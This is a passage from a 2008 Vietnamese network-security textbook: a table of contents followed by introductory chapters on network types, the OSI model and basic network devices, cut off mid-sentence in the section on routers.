You are on page 1of 202

Cơ sở lý thuyết về

BẢO MẬT MẠNG


Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

MỤC LỤC

PHẦN 1: TỔNG QUAN AN NINH MẠNG....................................................... 12

CHƯƠNG 1: TỔNG QUAN VỀ MẠNG MÁY TÍNH ....................................... 13

1. Khái niệm ....................................................................................................... 13

2. Phân loại mạng máy tính ................................................................................. 13

2.1. Mạng quảng bá (broadcast network):....................................................... 13

2.2. Mạng điểm nối điểm (point-to-point network): ....................................... 13

2.3. LAN .......................................................................................................... 14

2.4. MAN......................................................................................................... 15

2.5. WAN ........................................................................................................ 15

2.6. Mạng không dây ....................................................................................... 17

2.7. Liên mạng ................................................................................................. 17

3. Mô hình tham chiếu OSI ................................................................................. 17

4. Các thiết bị mạng cơ bản ................................................................................. 21

5. Các dịch vụ mạng ............................................................................................ 23

5.1. Hệ thống tên miền DNS .......................................................................... 23

5.2. Dịch vụ DHCP ........................................................................................ 27

5.3. Dịch vụ Web (HTTP) .............................................................................. 29

5.4. Dịch vụ truyền tệp tin FTP ...................................................................... 30

5.5. Dịch vụ thư điện tử.................................................................................. 30


2
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 2: GIỚI THIỆU VỀ AAA.................................................................. 33

1. Khái niệm: ....................................................................................................... 33

2. Kiểm soát truy cập (Access Control) .............................................................. 33

2.1. Khái niệm ................................................................................................. 33

2.2. Các phương pháp kiểm soát truy cập ....................................................... 33

3. Xác thực truy cập (Authentication) ................................................................. 35

3.1. Khái niệm ................................................................................................. 35

3.2. Kerberos ................................................................................................... 35

3.3. Xác thực dựa trên username/password .................................................... 39

3.4. CHAP (Challenge Handshake Authentication Protocol) ......................... 39

3.5. TOKEN .................................................................................................... 40

3.6. Chứng chỉ số (Certificates) ...................................................................... 40

3.7. Sinh trắc học (Biometrics) ....................................................................... 43

3.8. Xác thực kết hợp nhiều nhân tố (Multi-Factor) ....................................... 43

3.9. Xác thực lẫn nhau (Mutual Authentication) ............................................ 44

4. Giám sát thống kê (Accounting) ..................................................................... 44

PHẦN 2: AN NINH HẠ TẦNG .......................................................................... 45

CHƯƠNG 1: MÔ HÌNH MẠNG BẢO MẬT ..................................................... 46

1. Lời mở đầu ...................................................................................................... 46

2. Phân đoạn mạng (Segmentation) .................................................................... 46

3. Các điểm truy cập (Network Access Points) .................................................. 47

3
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

4. Router và Switch ............................................................................................. 48

5. Tường lửa ........................................................................................................ 48

6. Thiết bị phát hiện/ngăn chặn xâm nhập .......................................................... 49

7. Truy cập từ xa (Remote Access) ..................................................................... 50

8. Security Event Management (Thiết bị quản lý sự kiện tập trung) .................. 51

9. Hệ thống dò tìm điểm yếu (Vulnerability Management) ................................ 51

CHƯƠNG 2: TƯỜNG LỬA ................................................................................ 53

1. Khái niệm ........................................................................................................ 53

2. Các công nghệ tường lửa................................................................................. 53

2.1. Packet Filtering (lọc gói tin) .................................................................... 53

2.2. Application Filtering (lọc ứng dụng) ....................................................... 56

2.3. Stateful Inspection Firewall ..................................................................... 57

CHƯƠNG 3: THIẾT BỊ PHÁT HIỆN/NGĂN CHẶN XÂM NHẬP ............... 59

1. Khái niệm ........................................................................................................ 59

2. Các loại IDS/IPS ............................................................................................. 60

2.1. Phân loại theo phạm vi hoạt động ............................................................ 60

2.2. Phân loại theo nguyên lý hoạt động của IDS/IPS .................................... 62

CHƯƠNG 4. MẠNG RIÊNG ẢO ........................................................................ 64

1. Khái niệm ........................................................................................................ 64

2. Các loại VPN ................................................................................................... 65

2.1. VPN truy cập từ xa ................................................................................... 65

4
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

2.2. VPN điểm-nối-điểm ................................................................................. 65

CHƯƠNG 5. VLAN .............................................................................................. 67

1. Khái niệm ........................................................................................................ 67

2. Ứng dụng của VLAN ...................................................................................... 67

2.1. Tiết kiệm chi phí ...................................................................................... 67

2.2. Tiết kiệm băng thông của hệ thống mạng ................................................ 68

2.3. Tăng khả năng bảo mật ............................................................................ 68

2.4. Dễ dàng thêm hay bớt máy tính vào VLAN ............................................ 68

2.5. Giúp mạng có tính linh động cao ............................................................. 68

CHƯƠNG 6. NETWORK ADDRESS TRANSLATION .................................. 69

1. Khái niệm ........................................................................................................ 69

2. Phân loại NAT ................................................................................................. 69

2.1. Static NAT (NAT tĩnh) ............................................................................ 69

2.2. Dynamic NAT hay Pooled NAT (NAT động) ......................................... 70

2.3. Port Address Translation (PAT) .............................................................. 70

CHƯƠNG 7. AN NINH TRUYỀN DẪN VÀ LƯU TRỮ .................................. 72

1. Cáp đồng trục .................................................................................................. 72

2. Cáp UTP/STP .................................................................................................. 73

3. Cáp Quang ....................................................................................................... 73

4. Các thiết bị lưu trữ........................................................................................... 75

CHƯƠNG 8. CHÍNH SÁCH AN NINH MẠNG ................................................ 76

5
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

1. Khái niệm ........................................................................................................ 76

2. Các thành phần của một chính sách an ninh mạng ......................................... 77

CHƯƠNG 9. CÁC NGUYÊN TẮC CƠ BẢN .................................................... 80

PHẦN 3: MÃ HÓA .............................................................................................. 81

CHƯƠNG 1. CĂN BẢN VỀ MÃ HÓA ............................................................... 83

CHƯƠNG 2. CÁC THUẬT TOÁN MÃ HÓA ................................................... 85

1. Khái niệm ........................................................................................................ 85

2. Phân loại các thuật toán mã hoá ...................................................................... 86

2.1. Mã hóa cổ điển ......................................................................................... 86

2.2. Mã hóa đối xứng ...................................................................................... 87

2.3. Mã hóa bất đối xứng................................................................................. 90

2.4. Mã hóa hàm băm (Hash Function) ........................................................... 92

2.5. Chữ ký điện tử .......................................................................................... 93

CHƯƠNG 3. HẠ TẦNG KHÓA CÔNG KHAI PKI ......................................... 97

1. Tổng quan về PKI ........................................................................................... 97

2. Các thành phần và hoạt động của PKI ............................................................ 97

3. Một số hệ thống PKI ..................................................................................... 100

4. Kết luận ......................................................................................................... 101

CHƯƠNG 4. TIÊU CHUẨN VÀ CÁC GIAO THỨC ..................................... 102

1. Tiêu chuẩn mã hóa ........................................................................................ 102

2. Các giao thức mã hóa ................................................................................... 102

6
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

2.1. Khái niệm ............................................................................................... 102

2.2. Các giao thức mã hóa phổ biến .............................................................. 103

PHẦN 4: AN NINH ỨNG DỤNG ..................................................................... 109

CHƯƠNG 1: AN NINH TRONG TRUY CẬP TỪ XA ................................... 110

1. 802.1x ........................................................................................................... 110

1.1. Những vấn đề an ninh của mạng không dây .......................................... 111

1.2. Các biện pháp bảo mật cho WLAN ....................................................... 111

2. Virtual Private Network ................................................................................ 111

3. RADIUS ........................................................................................................ 112

3.1. Khái niệm ............................................................................................... 112

3.2. Quá trình chứng thực của RADIUS ....................................................... 113

4. PPTP/L2TP.................................................................................................... 114

4.1. PPTP ....................................................................................................... 115

4.2. L2TP ....................................................................................................... 115

4.3. Những điểm khác biệt chính giữa PPTP và L2TP ................................. 115

5. SSH................................................................................................................ 116

5.1. Khái niệm ............................................................................................... 116

5.2. Hoạt động của SSH ................................................................................ 116

6. IPSEC ............................................................................................................ 117

7. Tóm tắt nội dung chương .............................................................................. 118

CHƯƠNG 2: AN NINH WEB............................................................................ 119

7
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

1. Khái niệm ứng dụng Web ............................................................................. 119

2. Hoạt động của một ứng dụng Web ............................................................... 120

3. Tổng quan về các kỹ thuật tấn công ứng dụng Web ..................................... 121

2.1. Kiểm soát truy cập Web (Web Access Control) .................................... 121

2.2. Chiếm hữu phiên làm việc (Session Management) ............................... 121

2.3. Lợi dụng những lỗ hổng trong việc kiểm tra dữ liệu hợp lệ (Input
Validation) ..................................................................................................... 122

2.4. Để lộ thông tin (Informational) .............................................................. 123

2.5. Tấn công từ chối dịch vụ ........................................................................ 124

4. Các kỹ thuật tấn công phổ biến ..................................................................... 124

4.1. Thao tác trên tham số truyền .................................................................. 124

4.2. Cross Site Scripting ................................................................................ 129

4.3. SQL Injection ......................................................................................... 131

5. Các biện pháp phòng chống chung ............................................................... 135

5.1. Đối với người quản trị hệ thống ............................................................. 135

5.2. Đối với người lập trình Web .................................................................. 136

5.3. Đối với người sử dụng ........................................................................... 137

CHƯƠNG 3: THƯ ĐIỆN TỬ VÀ CÁC VẤN ĐỀ AN NINH ......................... 138

1. Khái niệm ...................................................................................................... 138

2. Giao thức MIME ........................................................................................... 138

3. Giao thức bảo mật S/MIME .......................................................................... 139

8
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

4. Phần mềm PGP.............................................................................................. 139

5. Những vấn đề an ninh với thư điện tử .......................................................... 139

5.1. SMTP Relay ........................................................................................... 140

5.2. Vấn đề đối với Virus .............................................................................. 141

5.3. SPAM ..................................................................................................... 141

CHƯƠNG 4: BUFFER OVERFLOWS ............................................................ 149

1. Khái niệm ...................................................................................................... 149

2. Chống tràn bộ đệm ........................................................................................ 150

2.1. Lựa chọn ngôn ngữ lập trình .................................................................. 150

2.2. Sử dụng các thư viện an toàn ................................................................. 151

2.3. Chống tràn bộ nhớ đệm trên stack ......................................................... 152

2.4. Bảo vệ không gian thực thi .................................................................... 152

2.5. Ngẫu nhiên hóa sơ đồ không gian địa chỉ .............................................. 153

2.6. Kiểm tra sâu đối với gói tin .................................................................... 153

2.7. Thường xuyên cập nhật, cài đặt các bản vá lỗi. ..................................... 153

2.8. Đánh giá mức độ an toàn của chương trình phần mềm ......................... 153

CHƯƠNG 5: AN NINH ỨNG DỤNG – NHỮNG NGUYÊN TẮC CƠ BẢN 154

PHẦN 5: CÔNG CỤ BẢO MẬT MẠNG......................................................... 156

Yêu cầu kiến thức ................................................................................................ 156

CHƯƠNG 1. KIỂM TRA KẾT NỐI TRÊN MÁY TÍNH ............................... 157

1. Công cụ NETSTAT....................................................................................... 157

9
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

2. Phần mềm TCPView ..................................................................................... 158

CHƯƠNG 2. QUÉT CỔNG ............................................................................... 161

1. Công cụ SuperScan ....................................................................................... 161

2. Network Mapper (NMAP) ............................................................................ 164

CHƯƠNG 3. PHÂN TÍCH DỮ LIỆU MẠNG ................................................. 171

1. Phần mềm Ethereal........................................................................................ 171

2. Microsoft Network Monitor .......................................................................... 178

CHƯƠNG 4. QUÉT LỖ HỔNG MÁY TÍNH ................................................. 183

1. Microsoft Baseline Security Analyzer .......................................................... 183

2. GFI LanGuard Network Security Scanner .................................................... 187

PHẦN 6: CASE-STUDY.................................................................................... 195

Case-Study 1 ........................................................................................................ 196

Case-study 2 ......................................................................................................... 197

Case-Study 3 ........................................................................................................ 198

Case-Study 4 ........................................................................................................ 199

PHẦN 7: TÀI LIỆU THAM KHẢO ................................................................ 200

10
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

11
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

PHẦN 1
TỔNG QUAN AN NINH MẠNG

12
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 1: TỔNG QUAN VỀ MẠNG MÁY TÍNH

1. Khái niệm

Về cơ bản, một mạng máy tính là một nhóm máy tính nối nhau với nhau theo một
số cách sao cho người ta có thể chia sẻ thông tin và thiết bị. Các máy tính có thể
kết nối trong cùng một phòng, một tòa nhà, một thành phố, hay quanh thế giới.

Qui mô một mạng máy tính có tính mở, có thể chỉ bao gồm hai máy tính, nhưng
cũng có thể là hàng triệu chiếc.

Nếu nối hai máy tính ở nhà, ta đã tạo ra một mạng. Tất cả máy tính trong một
trường học hay thư viện hoặc công ty được nối với nhau tạo thành mạng lớn hơn.
Mạng máy tính lớn nhất thế giới là Internet, có hàng triệu máy tính trên khắp toàn
cầu được nối với nhau, và số máy tính kết nối vào mạng Internet ngày càng gia
tăng nhanh chóng theo tốc độ phát triển của các mạng viễn thông và kiến thức về
tin học của cộng đồng dân cư.

2. Phân loại mạng máy tính

Trong kỹ thuật mạng, việc quan trọng nhất là vận chuyển dữ liệu giữa các máy.
Nói chung sẽ có hai phương thức là:

2.1. Mạng quảng bá (broadcast network): bao gồm một kênh truyền thông
được chia sẻ cho mọi máy trong mạng. Mẫu thông tin ngắn gọi là gói (packet)
được gửi ra bởi một máy bất kỳ thì sẽ tới được tất cả máy khác. Trong gói sẽ có
một phần ghi địa chỉ gói đó muốn gửi tới. Khi nhận các gói, mỗi máy sẽ kiểm tra
lại phần địa chỉ này. Nếu một gói là dành cho đúng máy đang kiểm tra thì sẽ đưọc
xử lý tiếp, bằng không thì bỏ qua.

2.2. Mạng điểm nối điểm (point-to-point network): bao gồm nhiều mối nối
giữa các cặp máy tính với nhau. Để chuyển từ nguồn tới đích, một gói có thể phải
đi qua các máy trung gian. Thường thì có thể có nhiều đường di chuyển có độ dài
khác nhau (từ máy nguồn tới máy đích với số lượng máy trung gian khác nhau).
Thuật toán để định tuyến đường truyền giữ vai trò quan trọng trong kỹ thuật này.

Dưới đây là đối tượng chính của phần cứng mạng:

13
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

2.3. LAN

LAN (local area network), hay còn gọi là "mạng cục bộ", là mạng tư nhân trong
một toà nhà, một khu vực (trường học hay cơ quan chẳng hạn) có cỡ chừng vài km.
Chúng nối các máy chủ và các máy trạm trong các văn phòng và nhà máy để chia
sẻ tài nguyên và trao đổi thông tin. LAN có 3 đặc điểm:

Giới hạn về tầm cỡ phạm vi hoạt động từ vài mét cho đến 1 km.

Thường dùng kỹ thuật đơn giản chỉ có một đường dây cáp (cable) nối tất cả máy.
Vận tốc truyền dữ liệu thông thường là 10 Mbps, 100 Mbps, 1 Gbps, và gần đây là
10 Gbps.

Các kiến trúc mạng kiểu LAN thông dụng bao gồm:

Mạng bus hay mạng tuyến tính. Các máy nối nhau một cách liên tục thành một
hàng từ máy này sang máy kia. Ví dụ của nó là Ethernet (chuẩn IEEE 802.3).

Mạng vòng. Các máy nối nhau như trên và máy cuối lại được nối ngược trở lại với
máy đầu tiên tạo thành vòng kín. Thí dụ mạng vòng thẻ bài IBM (IBM token ring).

Mạng sao.

Mạng tuyến tính và mạng vòng trong LAN

14
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

2.4. MAN

MAN (từ Anh ngữ: metropolitan area network), hay còn gọi là "mạng đô thị", là
mạng có cỡ lớn hơn LAN, phạm vi vài km. Nó có thể bao gồm nhóm các văn
phòng gần nhau trong thành phố, nó có thể là công cộng hay tư nhân và có đặc
điểm:

Chỉ có tối đa hai dây cáp nối.

Không dùng các kỹ thuật nối chuyển.

Có thể hỗ trợ chung vận chuyển dữ liệu và đàm thoại, hay ngay cả truyền hình.
Ngày nay người ta có thể dùng kỹ thuật cáp quang (fiber optical) để truyền tín
hiệu. Vận tốc có hiện nay thể đạt đến 10 Gbps.

Ví dụ của kỹ thuật này là mạng DQDB (Distributed Queue Dual Bus) hay còn gọi
là bus kép theo hàng phân phối (tiêu chuẩn IEEE 802.6).

2.5. WAN

WAN (wide area network), còn gọi là "mạng diện rộng", dùng trong vùng địa lý
lớn thường cho quốc gia hay cả lục địa, phạm vi vài trăm cho đến vài ngàn km.
Chúng bao gồm tập họp các máy nhằm chạy các chương trình cho người dùng. Các
máy này thường gọi là máy lưu trữ(host) hay còn có tên là máy chủ, máy đầu cuối
(end system). Các máy chính được nối nhau bởi các mạng truyền thông con
(communication subnet) hay gọn hơn là mạng con (subnet). Nhiệm vụ của mạng
con là chuyển tải các thông điệp(message) từ máy chủ này sang máy chủ khác.

15
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Mạng con thường có hai thành phần chính:

Các đường dây vận chuyển còn gọi là mạch (circuit), kênh (channel), hay đường
trung chuyển (trunk).

Các thiết bị nối chuyển. Đây là loại máy tính chuyện biệt hoá dùng để nối hai hay
nhiều đường trung chuyển nhằm di chuyển các dữ liệu giữa các máy. Khi dữ liệu
đến trong các đường vô, thiết bị nối chuyển này phải chọn (theo thuật toán đã định)
một đường dây ra để gửi dữ liệu đó đi. Tên gọi của thiết bị này là nút chuyển gói
(packet switching node) hay hệ thống trung chuyển (intermediate system). Máy
tính dùng cho việc nối chuyển gọi là "bộ chọn đường" hay "bộ định tuyến"
(router).

Hầu hết các WAN bao gồm nhiều đường cáp hay là đường dây điện thoại, mỗi
đường dây như vậy nối với một cặp bộ định tuyến. Nếu hai bộ định tuyến không
nối chung đường dây thì chúng sẽ liên lạc nhau bằng cách gián tiếp qua nhiều bộ
định truyến trung gian khác. Khi bộ định tuyến nhận được một gói dữ liệu thì nó sẽ
chứa gói này cho đến khi đường dây ra cần cho gói đó được trống thì nó sẽ chuyển
gói đó đi. Trường hợp này ta gọi là nguyên lý mạng con điểm nối điểm, hay
nguyên lý mạng con lưu trữ và chuyển tiếp (store-and-forward), hay nguyên lý
mạng con nối chuyển gói.

Có nhiều kiểu cấu hình cho WAN dùng nguyên lý điểm tới điểm như là dạng sao,
dạng vòng, dạng cây, dạng hoàn chỉnh, dạng giao vòng, hay bất định.

16
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

2.6. Mạng không dây

Các thiết bị cầm tay hay bỏ túi thường có thể liên lạc với nhau bằng phương pháp
không dây và theo kiểu LAN. Một phương án khác được dùng cho điện thoại cầm
tay dựa trên giao thức CDPD (Cellular Digital Packet Data) hay là dữ liệu gói kiểu
cellular số.

Các thiết bị không dây hoàn toàn có thể nối vào mạng thông thường (có dây) tạo
thành mạng hỗn hợp (trang bị trên một số máy bay chở khách chẳng hạn).

2.7. Liên mạng

Các mạng trên thế giới có thể khác biệt nhau về phần cứng và phần mềm, để chúng
liên lạc được với nhau cần phải có thiết bị gọi là cổng nối (gateway) làm nhiệm vụ
điều hợp. Một tập hợp các mạng nối kết nhau được gọi là liên mạng. Dạng thông
thường nhất của liên mạng là một tập hợp nhiều LAN nối nhau bởi một WAN.

3. Mô hình tham chiếu OSI

Vào giữa những năm 1970, các thiết bị đầu cuối sử dụng những phương pháp liên
kết qua đường cáp nằm trong một khu vực đã được ra đời, với những ưu điểm của
nó là nâng cao tốc độ truyền dữ liệu và qua đó kết hợp được khả năng tính toán của
các máy tính lại với nhau. Ðể thực hiện việc nâng cao khả năng tính toán với nhiều
máy tính các nhà sản xuất bắt đầu xây dựng các mạng phức tạp hơn. Vào những
năm 1980 các hệ thống đường truyền tốc độ cao đã được thiết lập ở Bắc Mỹ và
Châu Âu và từ đó cũng xuất hiện các nhà cung cấp các dịnh vụ truyền thông với
những đường truyền có tốc độ cao hơn nhiều lần so với đường dây điện thoại. Với
những chi phí thuê bao chấp nhận được, người ta có thể sử dụng được các đường
truyền này để liên kết máy tính lại với nhau và bắt đầu hình thành các mạng một
cách rộng khắp. Các mạng LAN, MAN, WAN ra đời và nhanh chóng phát triển cả
về số lượng, quy mô, chất lượng, cũng như về công nghệ.Tuy nhiên, cũng ngay
trong những năm 80, khi mà ưu thế của các loại mạng máy tính đang thể hiện rõ thì
nó cũng đặt ra những thách thức về tiêu chuẩn kết nối các thiết bị ngoại vi. Kết quả
là những hệ thống hiện có thời đó chỉ cho phép thiết bị (cả về phần cứng và phần
mềm) của một nhà sản xuất kết nối được với nhau và được gọi là hệ thống đóng.
Điều này là hết sức bất tiện cho việc triển khai mạng cũng như rất phiền toái cho
người sử dụng khi muốn lắp đặt mạng phục vụ cho công việc, cũng như hạn chế
ngăn cản việc mở rộng mạng một cách “thoải mái” cho những quy mô lớn hơn.

17
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Chính vì những lý do đó mà các tổ chức quốc tế cần có những quy chuẩn chung
nào đó cho việc thiết kế và lắp đặt mạng. Trên thế giới hiện có một số cơ quan định
chuẩn, họ đưa ra hàng loạt chuẩn về mạng, tuy các chuẩn đó có tính chất khuyến
nghị chứ không bắt buộc nhưng chúng rất được các cơ quan chuẩn quốc gia coi
trọng. Hai trong số các cơ quan chuẩn quốc tế là:

ISO (The International Standards Organization) - Là tổ chức tiêu chuẩn quốc


tế hoạt động dưới sự bảo trợ của Liên hợp Quốc với thành viên là các cơ quan
chuẩn quốc gia với số lượng khoảng hơn 100 thành viên với mục đích hỗ trợ sự
phát triển các chuẩn trên phạm vi toàn thế giới.

CCITT (Commité Consultatif International pour le Telegraphe et la


Téléphone) - Tổ chức tư vấn quốc tế về điện tín và điện thoại làm việc dưới sự bảo
trợ của Liên Hiệp Quốc có trụ sở chính tại Geneva - Thụy sỹ. Các thành viên chủ
yếu là các cơ quan bưu chính viễn thông các quốc gia. Tổ chức này có vai trò phát
triển các khuyến nghị trong các lãnh vực viễn thông.

Mô hình OSI (Open system interconnection – Mô hình kết nối các hệ thống mở) là
một cơ sở dành cho việc chuẩn hoá các hệ thống truyền thông, nó được nghiên cứu
và xây dựng bởi ISO. Việc nghiên cứu về mô hình OSI được bắt đầu tại ISO vào
năm 1971 với mục tiêu nhằm tới việc nối kết các sản phẩm của các hãng sản xuất
khác nhau và phối hợp các hoạt động chuẩn hoá trong các lĩnh vực viễn thông và
hệ thống thông tin. Đến năm 1984, mô hình tham chiếu OSI chính thức được đưa
ra giới thiệu.

Trước hết cần chú ý rằng mô hình 7 lớp OSI chỉ là mô hình tham chiếu chứ không
phải là một mạng cụ thể nào.Các nhà thiết kế mạng sẽ nhìn vào đó để biết công
việc thiết kế của mình đang nằm ở đâu. Xuất phát từ ý tưởng “chia để trị’, khi một
công việc phức tạp được module hóa thành các phần nhỏ hơn thì sẽ tiện lợi cho
việc thực hiện và sửa sai, mô hình OSI chia chương trình truyền thông ra thành 7
tầng với những chức năng phân biệt cho từng tầng. Hai tầng đồng mức khi liên kết
với nhau phải sử dụng một giao thức chung. Giao thức ở đây có thể hiểu đơn giản
là phương tiện để các tầng có thể giao tiếp được với nhau, giống như hai người
muốn nói chuyện được thì cần có một ngôn ngữ chung vậy. Trong mô hình OSI có
hai loại giao thức chính được áp dụng là: giao thức có liên kết (connection -
oriented) và giao thức không liên kết (connectionless).

Giao thức có liên kết: là trước khi truyền, dữ liệu hai tầng đồng mức cần thiết lập

18
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

một liên kết logic và các gói tin được trao đổi thông qua liên kết náy, việc có liên
kết logic sẽ nâng cao độ an toàn trong truyền dữ liệu.

Giao thức không liên kết: trước khi truyền, dữ liệu không thiết lập liên kết logic
và mỗi gói tin được truyền độc lập với các gói tin trước hoặc sau nó.

Nhiệm vụ của các tầng trong mô hình OSI có thể được tóm tắt như sau:

Mô hình OSI 7 tầng

19
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Tầng ứng dụng (Application layer – lớp 7): tầng ứng dụng quy định giao diện
giữa người sử dụng và môi trường OSI, nó cung cấp các phương tiện cho người sử
dụng truy cập vả sử dụng các dịch vụ của mô hình OSI. Điều khác biệt ở tầng này
là nó không cung cấp dịch vụ cho bất kỳ một tầng OSI nào khác ngoại trừ tầng ứng
dụng bên ngoài mô hình OSI đang hoạt động. Các ứng dụng cung được cấp như
các chương trình xử lý kí tự, bảng biểu, thư tín … và lớp 7 đưa ra các giao thức
HTTP, FTP, SMTP, POP3, Telnet.

Tầng trình bày (Presentation layer – lớp 6): tầng trình bày chuyển đổi các thông
tin từ cú pháp người sử dụng sang cú pháp để truyền dữ liệu, ngoài ra nó có thể nén
dữ liệu truyền và mã hóa chúng trước khi truyền đễ bảo mật.Nói đơn giản thì tầng
này sẽ định dạng dữ liệu từ lớp 7 đưa xuống rồi gửi đi đảm bảo sao cho bên thu có
thể đọc được dữ liệu của bên phát. Các chuẩn định dạng dữ liệu của lớp 6 là GIF,
JPEG, PICT, MP3, MPEG …

Tầng giao dịch (Session layer – lớp 5): thực hiện thiết lập, duy trì và kết thúc các
phiên làm việc giữa hai hệ thống. Tầng giao dịch quy định một giao diện ứng dụng
cho tầng vận chuyển sử dụng. Nó xác lập ánh xạ giữa các tên đặt địa chỉ, tạo ra các
tiếp xúc ban đầu giữa các máy tính khác nhau trên cơ sở các giao dịch truyền
thông. Nó đặt tên nhất quán cho mọi thành phần muốn đối thoại riêng với
nhau.Các giao thức trong lớp 5 sử dụng là NFS, X- Window System, ASP.

Tầng vận chuyển (Transport layer – lớp 4): tầng vận chuyển xác định địa chỉ
trên mạng, cách thức chuyển giao gói tin trên cơ sở trực tiếp giữa hai đầu mút, đảm
bảo truyền dữ liệu tin cậy giữa hai đầu cuối (end-to-end). Để bảo đảm được việc
truyền ổn định trên mạng tầng vận chuyển thường đánh số các gói tin và đảm bảo
chúng chuyển theo thứ tự.Bên cạnh đó lớp 4 có thể thực hiện chức năng đièu khiển
luồng và điều khiển lỗi.Các giao thức phổ biến tại đây là TCP, UDP, SPX.

Tầng mạng (Network layer – lớp 3): tầng mạng có nhiệm vụ xác định việc
chuyển hướng, vạch đường các gói tin trong mạng(chức năng định tuyến), các gói
tin này có thể phải đi qua nhiều chặng trước khi đến được đích cuối cùng. Lớp 3 là
lớp có liên quan đến các địa chỉ logic trong mạngCác giao thức hay sử dụng ở đây
là IP, RIP, IPX, OSPF, AppleTalk.

Tầng liên kết dữ liệu (Data link layer – lớp 2): tầng liên kết dữ liệu có nhiệm vụ
xác định cơ chế truy nhập thông tin trên mạng, các dạng thức chung trong các gói
tin, đóng gói và phân phát các gói tin. Lớp 2 có liên quan đến địa chỉ vật lý của các
thiết bị mạng, topo mạng, truy nhập mạng, các cơ chế sửa lỗi và điều khiển luồng.

20
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Tầng vật lý (Phisical layer – lớp 1): tầng vật lý cung cấp phương thức truy cập
vào đường truyền vật lý để truyền các dòng Bit không cấu trúc, ngoài ra nó cung
cấp các chuẩn về điện, dây cáp, đầu nối, kỹ thuật nối mạch điện, điện áp, tốc độ
cáp truyền dẫn, giao diện nối kết và các mức nối kết.

4. Các thiết bị mạng cơ bản

Để hệ thống mạng làm việc trơn tru, hiệu quả và khả năng kết nối tới những hệ
thống mạng khác đòi hỏi phải sử dụng những thiết bị mạng chuyên dụng. Những
thiết bị mạng này rất đa dạng và phong phú về chủng loại nhưng đều dựa trên
những thiết bị cơ bản là Repeater, Hub, Switch, Router và Gateway.

Repeater

Trong một mạng LAN, giới hạn của cáp mạng là 100m (cho loại cáp mạng CAT 5
UTP – là cáp được dùng phổ biến nhất), bởi tín hiệu bị suy hao trên đường truyền
nên không thể đi xa hơn. Vì vậy, để có thể kết nối các thiết bị ở xa hơn, mạng cần
các thiết bị để khuếch đại và định thời lại tín hiệu, giúp tín hiệu có thể truyền dẫn
đi xa hơn giới hạn này. Repeater là một thiết bị ở lớp 1 (Physical Layer) trong mô
hình OSI. Repeater có vai trò khuếch đại tín hiệu vật lý ở đầu vào và cung cấp
năng lượng cho tín hiệu ở đầu ra để có thể đến được những chặng đường tiếp theo
trong mạng. Điện tín, điện thoại, truyền thông tin qua sợi quang… và các nhu cầu
truyền tín hiệu đi xa đều cần sử dụng Repeater.

Hub

Hub được coi là một Repeater có nhiều cổng. Một Hub có từ 4 đến 24 cổng và có
thể còn nhiều hơn. Trong phần lớn các trường hợp, Hub được sử dụng trong các
mạng 10BASE-T hay 100BASE-T. Khi cấu hình mạng là hình sao (Star topology),
Hub đóng vai trò là trung tâm của mạng. Với một Hub, khi thông tin vào từ một
cổng và sẽ được đưa đến tất cả các cổng khác. Hub có 2 loại là Active Hub và
Smart Hub. Active Hub là loại Hub được dùng phổ biến, cần được cấp nguồn khi
hoạt động, được sử dụng để khuếch đại tín hiệu đến và cho tín hiệu ra những cổng
còn lại, đảm bảo mức tín hiệu cần thiết. Smart Hub (Intelligent Hub) có chức năng
tương tự như Active Hub, nhưng có tích hợp thêm chip có khả năng tự động dò lỗi
- rất hữu ích trong trường hợp dò tìm và phát hiện lỗi trong mạng.

21
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Bridge

Bridge là thiết bị mạng thuộc lớp 2 của mô hình OSI (Data Link Layer). Bridge
được sử dụng để ghép nối 2 mạng để tạo thành một mạng lớn duy nhất. Bridge
được sử dụng phổ biến để làm cầu nối giữa hai mạng Ethernet. Bridge quan sát các
gói tin (packet) trên mọi mạng. Khi thấy một gói tin từ một máy tính thuộc mạng
này chuyển tới một máy tính trên mạng khác, Bridge sẽ sao chép và gửi gói tin này
tới mạng đích. Ưu điểm của Bridge là hoạt động trong suốt, các máy tính thuộc các
mạng khác nhau vẫn có thể gửi các thông tin với nhau đơn giản mà không cần biết
có sự "can thiệp" của Bridge. Một Bridge có thể xử lý được nhiều lưu thông trên
mạng như Novell, Banyan... cũng như là địa chỉ IP cùng một lúc. Nhược điểm của
Bridge là chỉ kết nối những mạng cùng loại và sử dụng Bridge cho những mạng
hoạt động nhanh sẽ khó khăn nếu chúng không nằm gần nhau về mặt vật lý.

Switch

Switch đôi khi được mô tả như là một Bridge có nhiều cổng. Trong khi một Bridge
chỉ có 2 cổng để liên kết được 2 segment mạng với nhau, thì Switch lại có khả
năng kết nối được nhiều segment lại với nhau tuỳ thuộc vào số cổng (port) trên
Switch. Cũng giống như Bridge, Switch cũng "học" thông tin của mạng thông qua
các gói tin (packet) mà nó nhận được từ các máy trong mạng. Switch sử dụng các
thông tin này để xây dựng lên bảng Switch, bảng này cung cấp thông tin giúp các
gói thông tin đến đúng địa chỉ. Ngày nay, trong các giao tiếp dữ liệu, Switch
thường có 2 chức năng chính là chuyển các khung dữ liệu từ nguồn đến đích, và
xây dựng các bảng Switch. Switch hoạt động ở tốc độ cao hơn nhiều so với
Repeater và có thể cung cấp nhiều chức năng hơn như khả năng tạo mạng LAN ảo
(VLAN).

Router

Router là thiết bị mạng lớp 3 của mô hình OSI (Network Layer). Router kết nối hai
hay nhiều mạng IP với nhau. Các máy tính trên mạng phải "nhận thức" được sự
tham gia của một router, nhưng đối với các mạng IP thì một trong những quy tắc
